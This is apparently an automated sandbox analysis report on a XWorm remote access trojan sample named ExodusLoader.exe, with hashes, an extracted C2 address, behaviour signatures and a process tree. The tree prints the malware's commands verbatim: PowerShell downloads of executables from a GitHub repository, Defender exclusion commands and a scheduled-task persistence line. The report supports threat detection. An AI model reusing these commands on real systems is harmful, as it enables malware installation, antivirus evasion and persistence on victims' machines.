Analysis

  • max time kernel
    848s
  • max time network
    901s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250217-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250217-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    02/03/2025, 19:08

General

  • Target

    ExodusLoader.exe

  • Size

    89KB

  • MD5

    2f3405fa61bec944ed9d869adb6a37e3

  • SHA1

    4a3c839b899809ba89a99eaadecf4da6d71e8256

  • SHA256

    ee854407da3d172d442c9aec8861d9e8fd4f7a5f8c4cbb785d7e55549a507234

  • SHA512

    72c8309a2c439adb3790aaf7198d5cdfa5591703a039ca84982752dfc43213a94885aab5a82fc0cfd78e161a792d2c1684e0cae7e4e7d772cc98be4aabdc33c0

  • SSDEEP

    1536:77fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfAwWOn:X7DhdC6kzWypvaQ0FxyNTBfAg

Malware Config

Extracted

Family

xworm

Version

5.0

C2

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    System.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 17 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe
    "C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4752
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\C7A6.tmp\C7A7.bat C:\Users\Admin\AppData\Local\Temp\ExodusLoader.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1332
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\AppData\Local\Temp\Exodus.exe'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2788
      • C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe
        "C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3060
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4112
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2340
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF472.tmp.bat""
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Windows\system32\timeout.exe
            timeout 3
            5⤵
            • Delays execution with timeout.exe
            PID:412
      • C:\Users\Admin\AppData\Local\Temp\Exodus.exe
        "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
        3⤵
        • Executes dropped EXE
        PID:1704
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:452
  • C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
    "C:\Users\Admin\AppData\Roaming\AggregatorHost.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4640
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2956
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1184
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:820
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2708
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1332
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1316
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:1864
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2552
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2196
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:3776
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4780
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:4320
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of AdjustPrivilegeToken
    PID:2600
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    PID:2076
  • C:\ProgramData\System.exe
    "C:\ProgramData\System.exe"
    1⤵
    • Executes dropped EXE
    PID:3312

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\System.exe.log

    Filesize

    1KB

    MD5

    ad3b892cd0e5d3d10ca1d7ce9f858c6c

    SHA1

    f6d3dccdcd6039bd70d243e2aeddd286b2b61506

    SHA256

    a1ac1f065ecfcaaded0544844106cfa4aca48acad49fd347eb238561a91655b0

    SHA512

    2f218f25619b728378b6aad3899eaf4e1dee71506ad8ae5a4a504e6f137c828d6d74adad9b75e9e5b0290cafb1672240359dfc109ebe9be44c21e37887a90726

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    ed30ca9187bf5593affb3dc9276309a6

    SHA1

    c63757897a6c43a44102b221fe8dc36355e99359

    SHA256

    81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

    SHA512

    1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    78153de63c467e206b9b565dadeccfe6

    SHA1

    29ba7d083efb8e7c215d09dddd937ed8292d3f59

    SHA256

    2cf859da0d2b6da20d4f3ce8c1d497ac9152c90b9640f92d033b0a679d2e3f93

    SHA512

    913622de8c0885996a75f640b6e38300a0ca88d34f176c9f61eb5feb5c5be3e03868d3fceeb8c46b253d2977a2d8898cc4b10042940844f1d0af8a65b82f1a94

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    45740ec1280c415aa8d22df249e24cd9

    SHA1

    c586c033f7d17e1fee1334a44cda617f9c211a9d

    SHA256

    a139d48ea1f1b8f146e385e87795b47ef7ebfc22c223096260bdb2270a856e2b

    SHA512

    2548ef6d73ce7f70a1dae39b7da27d989678e6e329053ff8359582abcaa41282201555c08a4a5a1daba1663fdd6c599587d5f6df3adb26e4a5df07d0d217eaa2

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    64371a8a8da1b62945601ed266991615

    SHA1

    f91874501371d7f1da01b1370877599f1b3db00c

    SHA256

    b477f4b6da60426ea06c449968231130f5263af707d7342c4596888cfc2339d6

    SHA512

    3a0c68608bbac227aded90838cf62da7a9b867d151ecf4bd293848618b1bd72e72f007435c213960adac6a7613823b405b9254a48ae0b71d7ab4148652ecbf44

  • C:\Users\Admin\AppData\Local\Temp\C7A5.tmp\C7A6.tmp\C7A7.bat

    Filesize

    491B

    MD5

    54436d8e8995d677f8732385734718bc

    SHA1

    246137700bee34238352177b56fa1c0f674a6d0b

    SHA256

    20c5e5f392f2ad19b9397fd074d117c87ca3da37f1151736dbd20322ea7e12c3

    SHA512

    57ffc0f920bbaf36bbd22ea90c14670f44766e4b81509f54b1dec1be4443e51d8bf0997198de0851e1ea4993e5d786e21c9c1f7f17c792da88eb6bb4a324f448

  • C:\Users\Admin\AppData\Local\Temp\Exodus.exe

    Filesize

    507KB

    MD5

    470ccdab5d7da8aafc11490e4c71e612

    SHA1

    bc540c0ba7dcb0405a7b6c775f0a1b585d51c4b3

    SHA256

    849c0420722c1dabb927ff0ab70375bc1197ba73a7f04885460b609392bd319c

    SHA512

    6b3a09b785c02a57f6330cd6610f8a78b1f6a1689c14a190a9af4ad4ab4666f8a77d75c4c85a3af04693effdc970440ce8d62a4132f66471aaa250f9d90f2f7b

  • C:\Users\Admin\AppData\Local\Temp\ExodusInject.exe

    Filesize

    227KB

    MD5

    38b7704d2b199559ada166401f1d51c1

    SHA1

    3376eec35cd4616ba8127b976a8667e7a0aac87d

    SHA256

    153825af8babb75361f4af359bfdd5e95cbdc7f263db5c4e70ac1da8f36bc564

    SHA512

    07b828073c8f80c5498501c8f64decb5effa702c8bc3d60a2f7d5de36d493b469cbbf413fb0c92c0aadd6ee139bfb75f3b9e936230212d42e57d2ec5671e9b27

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bu1gccwj.xyt.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmpF472.tmp.bat

    Filesize

    164B

    MD5

    9d27228c5b8759f74c08e227b135913a

    SHA1

    cd23e87a1908aaa4ca2ac18dd6d841acfcb5709e

    SHA256

    905a89dd5729e1f454a43d337294f42df50eca51ac6309076f64d913600aece0

    SHA512

    ecff173877719bdad794ae7245e7ab639773f75b8437814bb27dfb0e3b1b6d21c3b07e3c483103a9fce7a52a60b93b9b90673e7e9d08cf79c23c53d9c580e16d

  • memory/2788-22-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/2788-23-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/2788-21-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/2788-36-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/3060-42-0x0000000000890000-0x00000000008D0000-memory.dmp

    Filesize

    256KB

  • memory/3548-19-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/3548-15-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/3548-14-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/3548-4-0x00007FFD18760000-0x00007FFD19222000-memory.dmp

    Filesize

    10.8MB

  • memory/3548-3-0x000001D373500000-0x000001D373522000-memory.dmp

    Filesize

    136KB

  • memory/3548-2-0x00007FFD18763000-0x00007FFD18765000-memory.dmp

    Filesize

    8KB

  • memory/4640-73-0x0000000001430000-0x000000000143E000-memory.dmp

    Filesize

    56KB

  • memory/4640-85-0x0000000002CF0000-0x0000000002CFC000-memory.dmp

    Filesize

    48KB